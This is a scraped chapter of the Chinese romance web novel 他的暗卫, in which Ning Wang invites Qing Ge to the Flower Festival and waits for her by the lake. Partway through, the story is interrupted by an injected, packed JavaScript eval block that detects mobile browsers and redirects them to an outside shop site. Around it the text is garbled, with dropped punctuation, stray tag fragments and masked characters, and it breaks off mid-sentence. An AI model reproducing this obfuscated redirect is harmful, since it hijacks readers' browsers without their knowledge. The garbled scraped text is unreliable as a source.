第 124 章 914大抽中的晋...
作品:《他的暗卫》 第124章914大抽中的晋.
第124章花朝会
宁王越发笑了下:“没什么,我没有笑你我在笑——”
他指着小世子:“你看他。”
小世子听得这话,猛地回首看便一下子看到了宁王他家父王。
青葛却无奈地看到他手上还有两根白色的狗毛那狗毛还沾到他光亮的大脑门上特别惹眼。
这——
偏偏这时小世子还很纳闷,懵懵地看她,完全不明白她怎么了。
青葛压下无奈的心思上前道:“世子殿下你脸上有一根狗毛,下官帮你擦擦。”
说完就要从怀中掏出手帕来。
可——
她的手顿在袖口处。
适才小世子和雪球胡闹,似乎给她扯走了。
她没有了。
这时,一双修长好看的手伸过来
青葛顺着那手往上看,宁王墨黑的眸子正淡定地望着她。
青葛伸出手,接过来,帮小世子擦拭了脸颊。
小世子明显有些懵了,他没动像木头人一样任凭她擦。
青葛擦过后将帕子递还给宁王:“殿下,你的帕子。”
宁王伸手就要接过巾帕。
谁知道他手指头刚触碰到巾帕那巾帕却突然被撤回。
他的手指便停顿在那里,抬眼,仿佛很是疑惑地看着青葛。
青葛:“殿下,这巾帕擦了狗毛脏了。”
宁王静默地看她片刻撤回了手。
他负手严肃地道:“本王一共也只有两块巾帕一块已经丢了怎么也寻不到这一块……青大人麻烦你清洗过后务必还给本王。”
青葛:“……”
她听得这话只觉得脑门那里嗡嗡嗡地在响。
他这是什么意思……
在惦记那块丢了的巾帕?
青葛心虚地回忆着她之前把那块巾帕扔哪里了?随手扔角落了?
她羞窘难当。
宁王视线不着痕迹地扫过她耳朵。
尖尖的耳朵略露头红红的。
他唇角略翘起不过很快
压平之后仿佛若无其事地扫过自己那还没反应过来的傻儿子。
他有些不忍看平时挺聪明的儿子怎么现在就看着呆呆愣愣很是拿不出手。
他在心里轻叹口中却是故意道:“承蕴还不回府你这样子岂不是搅扰了青大人歇息。”
小世子一听自然不太情愿嘟嘟着嘴巴不高兴地道:“可是青葛答应了我要请我吃好吃的!”
宁王淡淡地教训道:“哪有你这样的有没有规矩这是青大人。”
小世子听着意外好奇地看向青葛:“你之前可不曾提
青葛抿唇轻笑:“下官如今为四品云麾将军至于称呼世子殿下不必在意随意称呼便是。”
小世子便试探着喊道:“青大人青大人……”
他这么叫了几声后便觉得好玩大声喊道:“青大人!”
宁王越发不想看这傻儿子一眼只是命道:“走了回府不许胡闹了。”
小世子一听这话一番兴头全都被打散了他不高兴地嘟嘟道:“知道了。”
宁王这才望向青葛。
四目相对间他墨色的眸子很是平淡仿佛他们之间发生的一切都不曾存在。
这样严肃的他青葛不自觉站直了。
宁王非常客气地开口:“他到底年幼顽劣打扰了你才回来又经历了这样的事好好养伤若需要什么尽管提让温先生给你办。”
青葛便比他还客气的样子:“是多谢殿□□恤属下送送殿下和世子殿下。”
宁王:“不必留步吧。”
说着他便伸手牵了小世子的手准备离开。
小世子心不甘情不愿但也只能走。
当下青葛送客三人行至大门前刚要再次告别便见那边急匆匆来了一穿麻衣的闲汉。
对方手中拎着一竹雕大漆描金食盒急匆匆跑得额头冒汗见了宁王兜头便问:“这里可是青大人府上?”
青葛疑惑。
宁王微愣了下之后一脸恍然仿佛才想起的样子:“适才路过街道见外面叫卖声不绝于耳便想着犬子搅扰了青大人干脆顺手购置一些小食聊表心意还请笑纳。”
小世子好奇地看那食盒,小鼻子使劲嗅了嗅:“父王,你买了什么?
他年纪尚小,身边有专门的膳医以及厨娘为他调理膳食,并不让他随便吃外面的小食。
其实他暗地里是馋的,只是不得机会偷吃罢了,如今看着这食盒上略有些斑驳的描金黑漆,便感觉嗅到了外面街市上的热火朝天。
宁王黑眸泛着无奈,微蹙眉:“这是送给青大人的,承蕴你——
青葛:“……
他太假了!
于是她便提议道:“世子殿下既想尝尝,若是殿下不介意,那就一起尝尝吧?
宁王:“哦?
他微扬眉,看着她:“那样打扰了。
当下他毫不犹豫,撩袍跨入门槛中,那是赶也赶不走的样子。
青葛知道宁王往日最是讲究,自然不敢大意,特意拿出从未用过的干净碗筷,又用热水去烫。
等她奉了新的碗筷回来,却恰好发现他的视线正淡淡地扫过一旁。
她顺着他的视线看去,顿时心狠狠地一沉。
自己当时随手一放的巾帕,不知道是不是被雪球动过,竟恰好就在一旁角落的木盒中!
就那么大喇喇地露出一个边角!
一股无地自容的羞窘便翻涌上来,青葛恨不得立即施展轻功跑到天涯海角!
这辈子都不想看到他!
宁王当即收回视线,仿佛什么都没看到的样子。
青葛从旁,越发端起刻意的恭敬,问道:“殿下,有什么事吗?
宁王看向她,却见她一脸无辜的样子。
仿佛什么都没发生一样,装得一手好傻。
他微咳了下,若无其事地道:“也没什么,只是想和青大人说,明日便是花朝节,届时禹宁城士庶郊游雅会,晚间时候还会挂上彩灯,观景赏花,倒是热闹,青大人既赶上这热闹,要不要去看看?
这句话说到最后时,他声音很低。
青葛听着,道:“属下记得花朝节。
她当然记得。
从西渊被带到禹宁的那一日,便是花朝节,她自西渊飘飞的大雪中来,却看到了满眼的红花绿枝映灯火。
宁王深深地看着她:“哦,记得是吗?
青葛:“是,属下还记得太子殿下送给属下一朵花。
灰扑扑的小姑娘,初来乍到,沉默倔强地望着这繁华的夜景,却被塞了一朵花,于是心便瞬间绽放开来。
宁王:“那是蔷薇。
青葛笑看向他:“竟是蔷薇……我当时不知道,只记得那朵花很好看。
宁王轻扯唇,眸间泛起一个意味深长的笑。
之后他负手:“哦,花美,人好,是不是?
青葛:“是。
她丝毫不曾否认,这让宁王神情有片刻的凝滞,之后仿佛艰难地吸了口气。
青葛自然感觉到了他的异样。
想起之前的巾帕,她觉得自己报了一箭之仇,一时心情竟是不错。
宁王撩起薄薄的眼皮:“花朝日暖,桑梓生青,丽泽湖畔春色无边,若有缘,青大人可同赴湖畔,赏千红披绣,看万家灯火。
说完这个,一双黑眸定定地望着青葛。
在这种目光下,青葛觉得,自己几乎要被融化了。
她略想了想,含蓄地道:“这花朝节自是好,属下也颇为怀念,不过是否有幸去饱览百花灯火,也看缘分了。
宁王听得“缘分二字,眸底闪过一丝异样。
他轻笑一声:“好,那本王便在丽泽湖畔的桑树下,静候佳音。
***********
宁王带着小世子离开青葛的院落。
小世子偷偷地瞄一眼自己父王,他又觉得今天的父王好像心情过于好惹。
小世子正歪着脑袋看,突然间,宁王的视线射过来。
他便一脸人畜无害的样子:“父王?
宁王望着自己的儿子:“听说有个小孩在府中飞来飞去的?
小世子有些脸红,鼓着软乎乎的小脸:“是青大人带孩儿飞飞……
宁王唇角翘起:“飞来飞去很好吧?
小世子便兴奋起来:“飞起来,像小鸟,喜欢!
宁王:“哦,很喜欢她?
小世子犹豫了下,到底点头:“嗯。
宁王:“为什么?
小世子听着,有些茫然,他偏头想了想,道:“青葛会用刀,也会飞飞。
说着,他小
大人一般叹了口气:“父王为什么要用剑孩儿不想学剑孩儿以后也要学青葛的刀!”
宁王哑然失笑这么笑着间他的视线却落在他脖子上竟然挂了一根吊坠赫然正是狼牙雕。
昔日的回忆便猝不及防地袭来直接闷头拍在他心上。
其实他当时已经疑心了真的疑心了。
可她却故意用了些手段故意让自己误会她让自己疏远他。
他去看了底案被蒙蔽了以为她不是以至于便心生一股戾气对她冷漠排斥甚至说出一些并不好的话来。
还将她的狼牙雕扔在地上。
这两年的时间他无声地搜集着关于她的所有讯息把一片片关于她的碎片拼起来获得了一个完整的她自然也终于能体会到她的心思。
那狼牙雕于她来说意味着什么更是再清楚不过。
可自己却将狼牙雕扔到了地上还说了那样的话。
宁王顿时觉得春江花月夜的美好就这么被戳了一个稀烂。
他又是凭什么在信心满满?
再次品味着她最后的言语
旁边小世子见此情景担心地道:“父王……你怎么了?”
其实他已经习惯了父王有时候就是会很奇怪但他好像已经很久没这样了。
宁王微合着眸子垂着眼艰难地将自己的心思压下。
再次睁开眼眼神却是异样的冷静。
他看着儿子道:“这狼牙雕青大人送你的?”
小世子点头:“是!”
宁王伸出手:“给父王看看。”
小世子用手摸了摸很不舍得样子。
宁王命道:“拿来。”
小世子只好摘下来不甘愿地递给宁王。
宁王接过来拿在手中用手指细致地摩挲着上面有日月星辰以及各样古老的标记。
这是缥妫的标志能让她一直随身带着这意味着什么不言而喻。
***************
这一日花朝节晨间醒来时却是一个阴天。
宁王望着窗外的蔷薇花看了好一番才起身梳洗用膳之后一如往日般来到千影阁处理当日的公
务。
如今千影阁暗卫几乎倾巢而出,边境军也已经出动。
今日所有的一切,始自两年前的那场宫廷投毒案,始自五年前的千影阁内奸案,也始自十五年前黄教的猖狂作乱。
整整一日,宁王不曾离开千影阁,他一直在召集属下,部署安排。
黄教的人马既然踏入禹宁,那就注定有去无回。
最后当所有的一切都已经部署妥当,已经是黄昏时分。
他侧首看向窗棂外,外面果然下雨了,微雨缥缈而下,飘在王府巍峨的楼宇间,打湿了一院的春色。
此时众人已经退下,唯余叶闵,削瘦苍白地立在厅中,一身的沁凉。
宁王淡声开口:“梨白罗刹,放了她,让她走,让她去寻夏侯见雪,夏侯止澜,让她知道所有的真相。
叶闵:“好。
宁王冷笑一声:“本王已经迫不及待,想看她肝肠寸断的样子。
叶闵垂眼,道:“是。
宁王:“至于莫经羲,杀了,不必留着。
叶闵:“这就派人去杀。
宁王听这话,终于转过身,视线落在叶闵身上。
他看着叶闵,看了好一会,才道:“你觉得今夜的雨,会停吗?
叶闵想了想:“会停。
宁王:“我希望停下来,因为——
他继续道:“我和一个人约在今晚花朝节相会,若是不能停,岂不是遗憾。
叶闵的视线便变得复杂起来。
宁王:“嗯?
叶闵终于道::“殿下一定能得偿所愿。
宁王微吐出一口气:“叶闵,你说得对,本王一定能得偿所愿。至于我们之间——
他笑了下:“你我兄弟一场,共事多年,希望我们最后一次,能够一切顺利。
叶闵修长的睫毛动了动:“属下也希望如此。
宁王略颔首:“去吧。
***************
雨丝飘落,黄昏已至,青葛坐在铜镜前,就着一盏灯,缓慢卸下自己的易容。
她的动作很慢,慢到仿佛十几年的光阴在她手指下流转。
当易容尽褪,她看着铜镜中自己真实的面容,这是她
生来的模样,也是她最陌生的一张面孔。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627299|123010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
指尖触及这张面孔时,往日一幕幕便在心间流转。
其实她至今感激,感激两年前的那一晚,宁王并没有揭开她最后的面纱,他为她保留了最后的体面。
她恨这张脸,这张承袭自夏侯夫人的脸,和夏侯见雪一样的脸。
恨得不想再多看一眼。
她至死不愿回首,永远不想以这张面孔呈现在世人面前。
以至于每每清洗修饰时,她都会刻意不去看,当它不存在。
不过时至今日,她可以放下过去的一切,试着去接受。
铜镜中的这张面孔便是她自己,不是夏侯见雪,也不是夏侯夫人的传承,而是她自己。
她握惯了刀剑和暗器的手指,带着些许薄茧的糙感,抚摸过自己的面庞。
因为长久的遮盖,她的肌肤略显苍白脆弱,不过触感真实细腻。
这就是活生生的她自己。
她要重新接受这样的自己,要回到最初,去赴这场花朝之约。
从昨日至今,她不曾见过宁王,他也不曾来过。
她知道他在忙,四大世家的人马,黄教的主力,以及西渊部分部落的亡命之徒,已经全部潜入禹宁,禹宁城外已是剑拔弩张。
不过禹宁城内依然一片安定祥和,花团锦簇,灯火连天,这是禹宁城的不夜天。
青葛垂下眼,看向妆台上的胭脂水粉。
远处传来谁家的丝弦之声,似有若无,时断时续。
她缓慢地为自己梳妆,涂了胭脂,抹上口脂,细细地画眉,又将乌发挽起,给自己插上一只镂雕梅花步摇金簪。
她拿出一件闺阁女子的衣裙,这衣裙已经有些年月,并不是如今时兴的款式,不过好在做工上等,用料绝佳,上面绣工处处考究。
这几年,她或者黑色劲装,或者偏男子样式的袍服,并不曾穿过这样的衣裙。
或者说她从来没有以自己的身份这么穿过。
如今重新穿上后,衣裙竟略显宽松。
于是她便取来巴掌宽的缎带,为自己束腰。
一切打扮齐整后,她看着铜镜中的自己许久,才拿起面纱,覆在脸上,遮掩着这过于惊艳的容貌,出门而去。
她也不用什么轻功就这么如寻常人家的女儿般出门去。
街道巷陌间酒肆喧嚣楼宇亭台灯烛晃耀有璀璨烟火也有灯火流溢便是缥缈夜雨也不曾阻挡花朝之夜的盛开。
青葛穿梭在绫罗绮丽之间看她们举着花伞结伴而行看她们笑闹嬉戏也看她们面生红晕。
于是突然便想起那一日春和景明她举步上随云山。
她原本游离于这红尘外却在那一日无意踏入属于她的人世间。
她就这么走过一条条街巷走过嬉笑的人群最后终于在丝竹之声中走到一处人声鼎沸的桥上。
她侧首看却见轻盈雨丝飘飘洒洒间似花非花似雾非雾。
青葛便觉她正走在降落人间的华胥国。
她穿过这道花团锦簇的桥走过一处青苔遍布的小径终于来到了一处。
她驻足于桑树下望向不远处那里有鲜衣少年也有绮罗丽人。
在这样的夜晚年轻男女便凭空多了几分恣意梅子酒香丝丝缕缕地飘起她们脸颊酡红衣衫飘扬。
青葛倚靠在那棵桑树上抬首望着飘雨的夜空。
在这无边的喧嚣中远处竟有诵经声响起悠扬婉转缓缓而来。
她微阖上眼抬起手来隔着面纱触碰自己的面庞。
她知道有了这层面巾她是身经百炼的千影阁暗卫青葛是功名加身的青将军青大人是被宁王和皇太子看中的股肱之臣。
揭下这层面巾她将再次步入一个新的人世间。
那一日她站在树上对小世子说你跳吧我会接住你。
她呢现在的她敢不敢跳?
*************
宁王知道这是一个注定不太平的夜晚。
丽泽湖畔的画舫上有猜拳劝酒的声音传来管弦丝竹不绝于耳只是在这盛世的繁华后在已经徐徐关上的城门外已是暗潮涌动。
他静默地看着那棵桑树昔年他陪着她一起栽下的树如今新绿润雨迎风而动。
上面的青囊早已老旧但还不曾破败就这么吊在枝叶间一晃又一晃。
微凉的细雨洒在他的袍间他微阖着眸子回想起往日一幕幕。
她说,若有缘,会来。
所以他们之间的缘,还有没有?
维系着他们的那根丝比今夜的雨还要细柔,就这么来来回回在他心里荡。
他仰起脸,望着飘雨的夜空,在这无限拉长的漫长光阴中,等待着那个他要等的人。
各色的袍服自他面前经过,被踩踏的青石板留下一片水渍。
最后终于,夜深了,雨停了,风吹走朦胧水汽,被微雨洗涤过的新月自缕缕云纱中透出。
喧闹的人群散去,街旁摊贩收拾了残羹冷炙,挑着担子准备回家去。
长街寂静,灯火连天。
宁王缓慢地垂下眼,望着脚下的湖水。
雨后的梧桐倒映于澄清水中,他看到梧桐树下,那个落寞的身影,在细微的波纹中轻轻摇晃。
一只夜鸟飞过,水面微澜,那身影便碎在了湖水中。
寂寞的凉意如针一般扎进他的肌肤,麻木迟钝的痛便蔓延开来,形成一张网,将他拢在其中,之后缓慢收紧,一寸寸凌迟着他身体的每一处。
他想起大雪漫天的边境,食肆后院中,鲜衣怒马的小小少年倨傲地垂下眼,说出的那句话。
看,那是什么东西?
他清楚记得看到她当时的模样,矮小的身躯顶着不太相称的大脑袋,瘦弱的小脸看不出底色。
以至于他根本不曾分辨出那是一个孩子。
但她听到了他的话,也听懂了,便仰起脸来看他。
于是他看到,那双眼睛睁得很大,倔强地亮着。
在那一刻,他心里是不是已经隐隐有所感。
十四年后,他是意气风发的禹宁王,迎娶了他出身名门的王妃,做了一场缠绵悱恻的梦。
也许一切早已注定了,在那个小小少年骑马踏过积雪时。
就在这时,他听到身后传来脚步声。
那是云靴踩踏在青石板上的声音,细微湿润。
有一个人正向他走来。
那脚步声,一声一声的,就这么踏在他的心上。
他无声地屏住呼吸,用自己一生最大的耐心等待着,平静地等待,等待着属于他的宿命。
脚步声距离自己越来越近,最后终于停在了他身后。
他怔怔